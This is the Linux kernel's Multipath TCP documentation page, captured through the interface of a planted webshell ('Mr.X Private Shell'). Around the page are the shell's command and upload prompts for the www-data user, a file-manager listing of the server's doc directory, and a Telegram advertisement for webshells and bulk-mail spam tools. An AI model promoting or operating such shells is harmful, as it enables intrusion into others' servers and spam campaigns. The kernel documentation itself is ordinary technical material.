__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        

            For_More_Tools:
            
                Telegram: @jackleet | Bulk Smtp support mail sender  | Business Mail Collector  |  Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private

Upload:

Command:

www-data@216.73.216.213: ~ $ 
<!DOCTYPE html>

<html lang="en" data-content_root="../">
  <head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />

    <title>Multipath TCP (MPTCP) &#8212; The Linux Kernel  documentation</title>
    <link rel="stylesheet" type="text/css" href="../_static/pygments.css?v=fa44fd50" />
    <link rel="stylesheet" type="text/css" href="../_static/alabaster.css?v=3918102e" />
    <script src="../_static/documentation_options.js?v=5929fcd5"></script>
    <script src="../_static/doctools.js?v=9bcbadda"></script>
    <script src="../_static/sphinx_highlight.js?v=dc90522c"></script>
    <link rel="index" title="Index" href="../genindex.html" />
    <link rel="search" title="Search" href="../search.html" />
    <link rel="next" title="MPTCP Sysfs variables" href="mptcp-sysctl.html" />
    <link rel="prev" title="MPLS Sysfs variables" href="mpls-sysctl.html" />
   
  <link rel="stylesheet" href="../_static/custom.css" type="text/css" />
  

  
  

  </head><body>
  <div class="document">
    
      <div class="sphinxsidebar" role="navigation" aria-label="Main">
        <div class="sphinxsidebarwrapper">
            <p class="logo"><a href="../index.html">
              <img class="logo" src="../_static/logo.svg" alt="Logo of The Linux Kernel"/>
            </a></p>
<h1 class="logo"><a href="../index.html">The Linux Kernel</a></h1>



<p class="blurb">6.18.50</p>







<search id="searchbox" style="display: none" role="search">
  <h3 id="searchlabel">Quick search</h3>
    <div class="searchformwrapper">
    <form class="search" action="../search.html" method="get">
      <input type="text" name="q" aria-labelledby="searchlabel" autocomplete="off" autocorrect="off" autocapitalize="off" spellcheck="false"/>
      <input type="submit" value="Go" />
    </form>
    </div>
</search>
<script>document.getElementById('searchbox').style.display = "block"</script>


<p>
<h3 class="kernel-toc-contents">Contents</h3>
<input type="checkbox" class="kernel-toc-toggle" id = "kernel-toc-toggle" checked>
<label class="kernel-toc-title" for="kernel-toc-toggle"></label>

<div class="kerneltoc" id="kerneltoc">
<ul>
<li class="toctree-l1"><a class="reference internal" href="../process/development-process.html">Development process</a></li>
<li class="toctree-l1"><a class="reference internal" href="../process/submitting-patches.html">Submitting patches</a></li>
<li class="toctree-l1"><a class="reference internal" href="../process/code-of-conduct.html">Code of conduct</a></li>
<li class="toctree-l1"><a class="reference internal" href="../maintainer/index.html">Maintainer handbook</a></li>
<li class="toctree-l1"><a class="reference internal" href="../process/index.html">All development-process docs</a></li>
</ul>
<ul class="current">
<li class="toctree-l1"><a class="reference internal" href="../core-api/index.html">Core API</a></li>
<li class="toctree-l1"><a class="reference internal" href="../driver-api/index.html">Driver APIs</a></li>
<li class="toctree-l1 current"><a class="reference internal" href="../subsystem-apis.html">Subsystems</a><ul class="current">
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#core-subsystems">Core subsystems</a></li>
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#human-interfaces">Human interfaces</a></li>
<li class="toctree-l2 current"><a class="reference internal" href="../subsystem-apis.html#networking-interfaces">Networking interfaces</a><ul class="current">
<li class="toctree-l3 current"><a class="reference internal" href="index.html">Networking</a></li>
<li class="toctree-l3"><a class="reference internal" href="../netlabel/index.html">NetLabel</a></li>
<li class="toctree-l3"><a class="reference internal" href="../infiniband/index.html">InfiniBand</a></li>
<li class="toctree-l3"><a class="reference internal" href="../isdn/index.html">ISDN</a></li>
<li class="toctree-l3"><a class="reference internal" href="../mhi/index.html">MHI</a></li>
</ul>
</li>
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#storage-interfaces">Storage interfaces</a></li>
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#other-subsystems">Other subsystems</a></li>
</ul>
</li>
<li class="toctree-l1"><a class="reference internal" href="../locking/index.html">Locking</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../process/license-rules.html">Licensing rules</a></li>
<li class="toctree-l1"><a class="reference internal" href="../doc-guide/index.html">Writing documentation</a></li>
<li class="toctree-l1"><a class="reference internal" href="../dev-tools/index.html">Development tools</a></li>
<li class="toctree-l1"><a class="reference internal" href="../dev-tools/testing-overview.html">Testing guide</a></li>
<li class="toctree-l1"><a class="reference internal" href="../kernel-hacking/index.html">Hacking guide</a></li>
<li class="toctree-l1"><a class="reference internal" href="../trace/index.html">Tracing</a></li>
<li class="toctree-l1"><a class="reference internal" href="../fault-injection/index.html">Fault injection</a></li>
<li class="toctree-l1"><a class="reference internal" href="../livepatch/index.html">Livepatching</a></li>
<li class="toctree-l1"><a class="reference internal" href="../rust/index.html">Rust</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../admin-guide/index.html">Administration</a></li>
<li class="toctree-l1"><a class="reference internal" href="../kbuild/index.html">Build system</a></li>
<li class="toctree-l1"><a class="reference internal" href="../admin-guide/reporting-issues.html">Reporting issues</a></li>
<li class="toctree-l1"><a class="reference internal" href="../tools/index.html">Userspace tools</a></li>
<li class="toctree-l1"><a class="reference internal" href="../userspace-api/index.html">Userspace API</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../firmware-guide/index.html">Firmware</a></li>
<li class="toctree-l1"><a class="reference internal" href="../devicetree/index.html">Firmware and Devicetree</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../arch/index.html">CPU architectures</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../staging/index.html">Unsorted documentation</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../translations/index.html">Translations</a></li>
</ul>

</div>

<script type="text/javascript"> <!--
  var sbar = document.getElementsByClassName("sphinxsidebar")[0];
  let currents = document.getElementsByClassName("current")
  if (currents.length) {
    sbar.scrollTop = currents[currents.length - 1].offsetTop;
  }
  --> </script>
  <div role="note" aria-label="source link">
    <h3>This Page</h3>
    <ul class="this-page-menu">
      <li><a href="../_sources/networking/mptcp.rst.txt"
            rel="nofollow">Show Source</a></li>
    </ul>
   </div>
        </div>
      </div>
      <div class="documentwrapper">
        <div class="bodywrapper">
          

          <div class="body" role="main">
            
  



<section id="multipath-tcp-mptcp">
<h1>Multipath TCP (MPTCP)<a class="headerlink" href="#multipath-tcp-mptcp" title="Link to this heading">¶</a></h1>
<section id="introduction">
<h2>Introduction<a class="headerlink" href="#introduction" title="Link to this heading">¶</a></h2>
<p>Multipath TCP or MPTCP is an extension to the standard TCP and is described in
<a class="reference external" href="https://www.rfc-editor.org/rfc/rfc8684.html">RFC 8684 (MPTCPv1)</a>. It allows a
device to make use of multiple interfaces at once to send and receive TCP
packets over a single MPTCP connection. MPTCP can aggregate the bandwidth of
multiple interfaces or prefer the one with the lowest latency. It also allows a
fail-over if one path is down, and the traffic is seamlessly reinjected on other
paths.</p>
<p>For more details about Multipath TCP in the Linux kernel, please see the
official website: <a class="reference external" href="https://www.mptcp.dev">mptcp.dev</a>.</p>
</section>
<section id="use-cases">
<h2>Use cases<a class="headerlink" href="#use-cases" title="Link to this heading">¶</a></h2>
<p>Thanks to MPTCP, being able to use multiple paths in parallel or simultaneously
brings new use-cases, compared to TCP:</p>
<ul class="simple">
<li><p>Seamless handovers: switching from one path to another while preserving
established connections, e.g. to be used in mobility use-cases, like on
smartphones.</p></li>
<li><p>Best network selection: using the “best” available path depending on some
conditions, e.g. latency, losses, cost, bandwidth, etc.</p></li>
<li><p>Network aggregation: using multiple paths at the same time to have a higher
throughput, e.g. to combine fixed and mobile networks to send files faster.</p></li>
</ul>
</section>
<section id="concepts">
<h2>Concepts<a class="headerlink" href="#concepts" title="Link to this heading">¶</a></h2>
<p>Technically, when a new socket is created with the <code class="docutils literal notranslate"><span class="pre">IPPROTO_MPTCP</span></code> protocol
(Linux-specific), a <em>subflow</em> (or <em>path</em>) is created. This <em>subflow</em> consists of
a regular TCP connection that is used to transmit data through one interface.
Additional <em>subflows</em> can be negotiated later between the hosts. For the remote
host to be able to detect the use of MPTCP, a new field is added to the TCP
<em>option</em> field of the underlying TCP <em>subflow</em>. This field contains, amongst
other things, a <code class="docutils literal notranslate"><span class="pre">MP_CAPABLE</span></code> option that tells the other host to use MPTCP if
it is supported. If the remote host or any middlebox in between does not support
it, the returned <code class="docutils literal notranslate"><span class="pre">SYN+ACK</span></code> packet will not contain MPTCP options in the TCP
<em>option</em> field. In that case, the connection will be “downgraded” to plain TCP,
and it will continue with a single path.</p>
<p>This behavior is made possible by two internal components: the path manager, and
the packet scheduler.</p>
<section id="path-manager">
<h3>Path Manager<a class="headerlink" href="#path-manager" title="Link to this heading">¶</a></h3>
<p>The Path Manager is in charge of <em>subflows</em>, from creation to deletion, and also
address announcements. Typically, it is the client side that initiates subflows,
and the server side that announces additional addresses via the <code class="docutils literal notranslate"><span class="pre">ADD_ADDR</span></code> and
<code class="docutils literal notranslate"><span class="pre">REMOVE_ADDR</span></code> options.</p>
<p>Path managers are controlled by the <code class="docutils literal notranslate"><span class="pre">net.mptcp.path_manager</span></code> sysctl knob --
see <a class="reference internal" href="mptcp-sysctl.html"><span class="doc">MPTCP Sysfs variables</span></a>. There are two types: the in-kernel one (<code class="docutils literal notranslate"><span class="pre">kernel</span></code>) where
the same rules are applied for all the connections (see: <code class="docutils literal notranslate"><span class="pre">ip</span> <span class="pre">mptcp</span></code>) ; and the
userspace one (<code class="docutils literal notranslate"><span class="pre">userspace</span></code>), controlled by a userspace daemon (i.e. <a class="reference external" href="https://mptcpd.mptcp.dev/">mptcpd</a>) where different rules can be applied for each
connection. The path managers can be controlled via a Netlink API; see
<a class="reference internal" href="../netlink/specs/mptcp_pm.html"><span class="doc">Family mptcp_pm netlink specification</span></a>.</p>
<p>To be able to use multiple IP addresses on a host to create multiple <em>subflows</em>
(paths), the default in-kernel MPTCP path-manager needs to know which IP
addresses can be used. This can be configured with <code class="docutils literal notranslate"><span class="pre">ip</span> <span class="pre">mptcp</span> <span class="pre">endpoint</span></code> for
example.</p>
</section>
<section id="packet-scheduler">
<h3>Packet Scheduler<a class="headerlink" href="#packet-scheduler" title="Link to this heading">¶</a></h3>
<p>The Packet Scheduler is in charge of selecting which available <em>subflow(s)</em> to
use to send the next data packet. It can decide to maximize the use of the
available bandwidth, only to pick the path with the lower latency, or any other
policy depending on the configuration.</p>
<p>Packet schedulers are controlled by the <code class="docutils literal notranslate"><span class="pre">net.mptcp.scheduler</span></code> sysctl knob --
see <a class="reference internal" href="mptcp-sysctl.html"><span class="doc">MPTCP Sysfs variables</span></a>.</p>
</section>
</section>
<section id="sockets-api">
<h2>Sockets API<a class="headerlink" href="#sockets-api" title="Link to this heading">¶</a></h2>
<section id="creating-mptcp-sockets">
<h3>Creating MPTCP sockets<a class="headerlink" href="#creating-mptcp-sockets" title="Link to this heading">¶</a></h3>
<p>On Linux, MPTCP can be used by selecting MPTCP instead of TCP when creating the
<code class="docutils literal notranslate"><span class="pre">socket</span></code>:</p>
<div class="highlight-C notranslate"><div class="highlight"><pre><span></span><span class="kt">int</span><span class="w"> </span><span class="n">sd</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">socket</span><span class="p">(</span><span class="n">AF_INET</span><span class="p">(</span><span class="mi">6</span><span class="p">),</span><span class="w"> </span><span class="n">SOCK_STREAM</span><span class="p">,</span><span class="w"> </span><span class="n">IPPROTO_MPTCP</span><span class="p">);</span>
</pre></div>
</div>
<p>Note that <code class="docutils literal notranslate"><span class="pre">IPPROTO_MPTCP</span></code> is defined as <code class="docutils literal notranslate"><span class="pre">262</span></code>.</p>
<p>If MPTCP is not supported, <code class="docutils literal notranslate"><span class="pre">errno</span></code> will be set to:</p>
<ul class="simple">
<li><p><code class="docutils literal notranslate"><span class="pre">EINVAL</span></code>: (<em>Invalid argument</em>): MPTCP is not available, on kernels &lt; 5.6.</p></li>
<li><p><code class="docutils literal notranslate"><span class="pre">EPROTONOSUPPORT</span></code> (<em>Protocol not supported</em>): MPTCP has not been compiled,
on kernels &gt;= v5.6.</p></li>
<li><p><code class="docutils literal notranslate"><span class="pre">ENOPROTOOPT</span></code> (<em>Protocol not available</em>): MPTCP has been disabled using
<code class="docutils literal notranslate"><span class="pre">net.mptcp.enabled</span></code> sysctl knob; see <a class="reference internal" href="mptcp-sysctl.html"><span class="doc">MPTCP Sysfs variables</span></a>.</p></li>
</ul>
<p>MPTCP is then opt-in: applications need to explicitly request it. Note that
applications can be forced to use MPTCP with different techniques, e.g.
<code class="docutils literal notranslate"><span class="pre">LD_PRELOAD</span></code> (see <code class="docutils literal notranslate"><span class="pre">mptcpize</span></code>), eBPF (see <code class="docutils literal notranslate"><span class="pre">mptcpify</span></code>), SystemTAP,
<code class="docutils literal notranslate"><span class="pre">GODEBUG</span></code> (<code class="docutils literal notranslate"><span class="pre">GODEBUG=multipathtcp=1</span></code>), etc.</p>
<p>Switching to <code class="docutils literal notranslate"><span class="pre">IPPROTO_MPTCP</span></code> instead of <code class="docutils literal notranslate"><span class="pre">IPPROTO_TCP</span></code> should be as
transparent as possible for the userspace applications.</p>
</section>
<section id="socket-options">
<h3>Socket options<a class="headerlink" href="#socket-options" title="Link to this heading">¶</a></h3>
<p>MPTCP supports most socket options handled by TCP. It is possible some less
common options are not supported, but contributions are welcome.</p>
<p>Generally, the same value is propagated to all subflows, including the ones
created after the calls to <code class="docutils literal notranslate"><span class="pre">setsockopt()</span></code>. eBPF can be used to set different
values per subflow.</p>
<p>There are some MPTCP specific socket options at the <code class="docutils literal notranslate"><span class="pre">SOL_MPTCP</span></code> (284) level to
retrieve info. They fill the <code class="docutils literal notranslate"><span class="pre">optval</span></code> buffer of the <code class="docutils literal notranslate"><span class="pre">getsockopt()</span></code> system
call:</p>
<ul class="simple">
<li><p><code class="docutils literal notranslate"><span class="pre">MPTCP_INFO</span></code>: Uses <code class="docutils literal notranslate"><span class="pre">struct</span> <span class="pre">mptcp_info</span></code>.</p></li>
<li><p><code class="docutils literal notranslate"><span class="pre">MPTCP_TCPINFO</span></code>: Uses <code class="docutils literal notranslate"><span class="pre">struct</span> <span class="pre">mptcp_subflow_data</span></code>, followed by an array of
<code class="docutils literal notranslate"><span class="pre">struct</span> <span class="pre">tcp_info</span></code>.</p></li>
<li><p><code class="docutils literal notranslate"><span class="pre">MPTCP_SUBFLOW_ADDRS</span></code>: Uses <code class="docutils literal notranslate"><span class="pre">struct</span> <span class="pre">mptcp_subflow_data</span></code>, followed by an
array of <code class="docutils literal notranslate"><span class="pre">mptcp_subflow_addrs</span></code>.</p></li>
<li><p><code class="docutils literal notranslate"><span class="pre">MPTCP_FULL_INFO</span></code>: Uses <code class="docutils literal notranslate"><span class="pre">struct</span> <span class="pre">mptcp_full_info</span></code>, with one pointer to an
array of <code class="docutils literal notranslate"><span class="pre">struct</span> <span class="pre">mptcp_subflow_info</span></code> (including the
<code class="docutils literal notranslate"><span class="pre">struct</span> <span class="pre">mptcp_subflow_addrs</span></code>), and one pointer to an array of
<code class="docutils literal notranslate"><span class="pre">struct</span> <span class="pre">tcp_info</span></code>, followed by the content of <code class="docutils literal notranslate"><span class="pre">struct</span> <span class="pre">mptcp_info</span></code>.</p></li>
</ul>
<p>Note that at the TCP level, <code class="docutils literal notranslate"><span class="pre">TCP_IS_MPTCP</span></code> socket option can be used to know
if MPTCP is currently being used: the value will be set to 1 if it is.</p>
</section>
</section>
<section id="design-choices">
<h2>Design choices<a class="headerlink" href="#design-choices" title="Link to this heading">¶</a></h2>
<p>A new socket type has been added for MPTCP for the userspace-facing socket. The
kernel is in charge of creating subflow sockets: they are TCP sockets where the
behavior is modified using TCP-ULP.</p>
<p>MPTCP listen sockets will create “plain” <em>accepted</em> TCP sockets if the
connection request from the client didn’t ask for MPTCP, making the performance
impact minimal when MPTCP is enabled by default.</p>
</section>
</section>


          </div>
          
        </div>
      </div>
    <div class="clearer"></div>
  </div>
    <div class="footer">
      &#169;The kernel development community.
      
      |
      Powered by <a href="https://www.sphinx-doc.org/">Sphinx 8.1.3</a>
      &amp; <a href="https://alabaster.readthedocs.io">Alabaster 0.7.16</a>
      
      |
      <a href="../_sources/networking/mptcp.rst.txt"
          rel="nofollow">Page source</a>
    </div>

    

    
  </body>
</html>

Filemanager

DIR : / usr/ share/ doc/ linux-doc-6.18/ html/ networking/
Name Type Size Permission Actions
caif Folder 0755
device_drivers Folder 0755
devlink Folder 0755
diagnostic Folder 0755
dsa Folder 0755
mac80211_hwsim Folder 0755
net_cachelines Folder 0755
pse-pd Folder 0755
6lowpan.html File 9.97 KB 0644
6pack.html File 18.06 KB 0644
af_xdp.html File 71.08 KB 0644
alias.html File 9.71 KB 0644
arcnet-hardware.html File 153.3 KB 0644
arcnet.html File 37.48 KB 0644
atm.html File 8.24 KB 0644
ax25.html File 8.75 KB 0644
bareudp.html File 10.56 KB 0644
batman-adv.html File 16.81 KB 0644
bonding.html File 140.89 KB 0644
bridge.html File 53.36 KB 0644
can.html File 120.11 KB 0644
can_ucan_protocol.html File 25.27 KB 0644
cdc_mbim.html File 25.28 KB 0644
checksum-offloads.html File 16.15 KB 0644
dctcp.html File 10.32 KB 0644
devmem.html File 24.33 KB 0644
dns_resolver.html File 15.11 KB 0644
driver.html File 20.41 KB 0644
eql.html File 31.48 KB 0644
ethtool-netlink.html File 274 KB 0644
failover.html File 8.43 KB 0644
fib_trie.html File 16.04 KB 0644
filter.html File 42.43 KB 0644
gen_stats.html File 14.2 KB 0644
generic-hdlc.html File 14.67 KB 0644
generic_netlink.html File 8.11 KB 0644
gtp.html File 20.55 KB 0644
ieee802154.html File 25.03 KB 0644
ila.html File 21.79 KB 0644
index.html File 108.18 KB 0644
ioam6-sysctl.html File 8.48 KB 0644
iou-zcrx.html File 16.63 KB 0644
ip-sysctl.html File 154.81 KB 0644
ip_dynaddr.html File 9.97 KB 0644
ipsec.html File 9.71 KB 0644
ipv6.html File 9.87 KB 0644
ipvlan.html File 16.87 KB 0644
ipvs-sysctl.html File 20.73 KB 0644
iso15765-2.html File 39.91 KB 0644
j1939.html File 99.33 KB 0644
kapi.html File 1.78 MB 0644
kcm.html File 21.67 KB 0644
l2tp.html File 47.74 KB 0644
lapb-module.html File 22.56 KB 0644
mac80211-injection.html File 12.37 KB 0644
mctp.html File 35.16 KB 0644
mpls-sysctl.html File 9.64 KB 0644
mptcp-sysctl.html File 13.33 KB 0644
mptcp.html File 19.74 KB 0644
msg_zerocopy.html File 19.72 KB 0644
multi-pf-netdev.html File 17.48 KB 0644
multiqueue.html File 13.21 KB 0644
napi.html File 43.36 KB 0644
net_dim.html File 76.45 KB 0644
net_failover.html File 16.3 KB 0644
netconsole.html File 31.44 KB 0644
netdev-features.html File 17.75 KB 0644
netdevices.html File 43.33 KB 0644
netfilter-sysctl.html File 8.43 KB 0644
netif-msg.html File 12.93 KB 0644
netmem.html File 14.84 KB 0644
nexthop-group-resilient.html File 24.56 KB 0644
nf_conntrack-sysctl.html File 15.77 KB 0644
nf_flowtable.html File 21.24 KB 0644
nfc.html File 13.73 KB 0644
oa-tc6-framework.html File 39.07 KB 0644
openvswitch.html File 21.15 KB 0644
operstates.html File 18.28 KB 0644
packet_mmap.html File 55.34 KB 0644
page_pool.html File 59.25 KB 0644
phonet.html File 16.92 KB 0644
phy-link-topology.html File 15.77 KB 0644
phy.html File 40.5 KB 0644
pktgen.html File 24.97 KB 0644
plip.html File 18.56 KB 0644
ppp_generic.html File 37.23 KB 0644
proc_net_tcp.html File 11.13 KB 0644
psp.html File 18.66 KB 0644
radiotap-headers.html File 14.73 KB 0644
rds.html File 29.39 KB 0644
regulatory.html File 18.44 KB 0644
representors.html File 25.79 KB 0644
rxrpc.html File 130.88 KB 0644
scaling.html File 40.25 KB 0644
sctp.html File 9.73 KB 0644
secid.html File 8.42 KB 0644
seg6-sysctl.html File 9.53 KB 0644
segmentation-offloads.html File 17.81 KB 0644
sfp-phylink.html File 41.09 KB 0644
skbuff.html File 29.22 KB 0644
smc-sysctl.html File 10.42 KB 0644
snmp_counter.html File 91.51 KB 0644
sriov.html File 9.46 KB 0644
statistics.html File 31.78 KB 0644
strparser.html File 19.15 KB 0644
switchdev.html File 39.55 KB 0644
sysfs-tagging.html File 10.95 KB 0644
tc-actions-env-rules.html File 8.87 KB 0644
tc-queue-filters.html File 9.33 KB 0644
tcp-thin.html File 10.33 KB 0644
tcp_ao.html File 35.85 KB 0644
team.html File 7.93 KB 0644
timestamping.html File 59.83 KB 0644
tipc.html File 384.61 KB 0644
tls-handshake.html File 21.18 KB 0644
tls-offload.html File 42.72 KB 0644
tls.html File 39.38 KB 0644
tproxy.html File 13.18 KB 0644
tuntap.html File 19 KB 0644
udplite.html File 23.04 KB 0644
vrf.html File 28.46 KB 0644
vxlan.html File 11.95 KB 0644
x25-iface.html File 10.9 KB 0644
x25.html File 10.07 KB 0644
xdp-rx-metadata.html File 27.46 KB 0644
xfrm_device.html File 19.14 KB 0644
xfrm_proc.html File 11.37 KB 0644
xfrm_sync.html File 15.85 KB 0644
xfrm_sysctl.html File 8.07 KB 0644
xsk-tx-metadata.html File 18.64 KB 0644

Copyright reserved © 2026 xtooler.online Shell Coded By Mr.X

Filemanager